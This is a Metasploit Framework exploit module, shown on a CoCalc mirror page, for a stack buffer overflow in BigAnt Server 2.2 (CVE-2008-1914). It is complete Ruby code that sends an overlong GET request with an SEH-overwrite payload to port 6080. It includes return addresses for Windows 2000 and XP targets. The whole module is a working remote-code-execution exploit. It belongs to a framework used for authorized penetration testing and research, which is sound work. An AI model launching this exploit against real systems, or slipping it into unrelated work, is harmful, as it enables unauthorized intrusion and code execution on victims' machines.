CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/misc/bigant_server.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = AverageRanking
8
9
include Msf::Exploit::Remote::Tcp
10
include Msf::Exploit::Remote::Seh
11
12
def initialize(info = {})
13
super(update_info(info,
14
'Name' => 'BigAnt Server 2.2 Buffer Overflow',
15
'Description' => %q{
16
This module exploits a stack buffer overflow in BigAnt Server 2.2.
17
By sending a specially crafted packet, an attacker may be
18
able to execute arbitrary code.
19
},
20
'Author' => [ 'MC' ],
21
'License' => MSF_LICENSE,
22
'References' =>
23
[
24
[ 'CVE', '2008-1914' ],
25
[ 'OSVDB', '44454' ],
26
[ 'BID', '28795' ],
27
],
28
'Privileged' => true,
29
'DefaultOptions' =>
30
{
31
'EXITFUNC' => 'process',
32
'AllowWin32SEH' => true
33
},
34
'Payload' =>
35
{
36
'Space' => 750,
37
'BadChars' => "\x00\x20\x0a\x0d",
38
'StackAdjustment' => -3500,
39
'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
40
'DisableNops' => 'True',
41
},
42
'Platform' => 'win',
43
'Targets' =>
44
[
45
[ 'Windows 2000 Pro All English', { 'Ret' => 0x75022ac4 } ],
46
[ 'Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad } ],
47
],
48
'DefaultTarget' => 0,
49
'DisclosureDate' => '2008-04-15'))
50
51
register_options([Opt::RPORT(6080)])
52
end
53
54
def exploit
55
connect
56
57
sploit = "GET " + rand_text_alpha_upper(950) + generate_seh_payload(target.ret)
58
sploit << rand_text_alpha_upper(1024 - payload.encoded.length)
59
60
print_status("Trying target #{target.name}...")
61
sock.put(sploit + "\n\n")
62
63
handler
64
disconnect
65
end
66
end
67
68